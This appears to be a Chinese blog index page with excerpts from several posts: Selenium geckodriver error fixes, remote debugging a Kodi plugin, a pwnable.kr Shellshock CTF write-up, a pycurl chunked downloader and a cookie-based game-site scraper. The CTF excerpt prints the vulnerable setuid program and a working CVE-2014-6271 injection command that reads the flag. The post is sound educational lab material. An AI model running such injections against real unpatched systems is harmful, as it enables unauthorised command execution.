python selenium 3 + Firefox 48+ 报错解决方法

这里记录下使用selenium碰到的问题。

报错信息如下时:

selenium.common.exceptions.WebDriverException: Message: 'geckodriver' executable needs to be in PATH.       

这是因为在Firefox高版本需要使用 geckodriver来驱动,不再使用Seleniu默认自带的Firefox webdriver。

我们只需要在下面这个地址下载geckodriver并将 其所在的路径设为环境变量即可解决。

https://github.com/mozilla/geckodriver/releases

当报如下错误信息时,则是

selenium.common.exceptions.WebDriverException: Message: Expected browser binary location, but unable to find binary in default location, 
no 'moz:firefoxOptions.binary' capability provided, and no binary flag set on the command line

这时我们需要指定Firefox浏览器程序路径。

binary = FirefoxBinary('D:\\Firefox\\Firefox\\firefox.exe')
driver = webdriver.Firefox(firefox_binary=binary)

这样就能正常使用了。

pycharm 远程调试kodi python plugin

kodi是什么我就不说了,附上一张我的kodi插件图。这个播放器最强大的功能就是支持python编写的插件。

但是有些老的插件作者已经不打算更新或维护了,使用的话又会有一些问题,这时就需要调试来修复问题了。
我最近使用的爱奇艺播放插件作者也是好久没更新,有了这个插件都不用去买爱奇艺VIP了,播放也没有广告。

Pwnable.kr shellshock

这道题比较简单,对”破壳”漏洞了解的同学都能做出来。

#include <stdio.h>                                                
int main(){                                                       
        setresuid(getegid(), getegid(), getegid());               
        setresgid(getegid(), getegid(), getegid());               
        system("/home/shellshock/bash -c 'echo shock_me'");       
        return 0;                                                 
}                                                                 

源码中调用了题目提供的有漏洞的bash,我们可以构造如下命令来打印出flag:

    env x='() { :;}; /bin/cat flag' ./shellshock

上面这条命令相当于直接使用shellshcok调用的bash直接执行了/bin/cat flag,

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock    
only if I knew CVE-2014-6271 ten years ago..!!                       
Segmentation fault                                                   

先了解这个漏洞的同学可以看看这两篇文章

bash代码注入的安全漏洞
Shellshock漏洞回顾与分析测试

pycurl 分块下载

写爬虫时要下载文件,谁知道文件比较大,然后在下载时候总是丢包,因此参考网上的一些源码写了实现分块下载的功能,有能力的童鞋可以自己改写成多线程的。
这个pycurl的分块下载功能我把它封装成了一个类,直接使用即可,接收5个参数,用法如下

    d = downloader(downloadurl,out_filePath,None,None,None)
    d.download() #调用下载功能下载

python爬虫实战:Oculus VR

帮朋友写的一个爬虫,爬一个网站的所有VR游戏。在这之前我都还不知道还有这个VR(虚拟现实)游戏。我也是通过写这个爬虫才学会pycurl+BeautifulSoup 的用法。

安装模块

我使用的是第三方模块pycurl+BeautifulSoup。需要另外安装这两个模块,不然脚本无法运行,会报错。

BeautifulSoup:中文文档
pycurl:下载地址选择对应的版本下载安装。

开始编写爬虫

开始之前我们先分析下我们需要爬的内容。我们要的是每个游戏的真实下载地址。

既然是下载所有的游戏,我们就得知道每一页的网址,在这里 http://d.87870.com/xiazai-2-0603-1_.html
xiazai-2 这里的2是页数,知道了总页数我们就可以爬出所有页的每个游戏点击立即下载后跳转到的游戏下载页面。

如上图,点击游戏下载就可以下载游戏。但是没有登录的话是不让你下载的,这就要我们写脚本时要用到cookie。

大概思路就是这样了。开始写代码。

,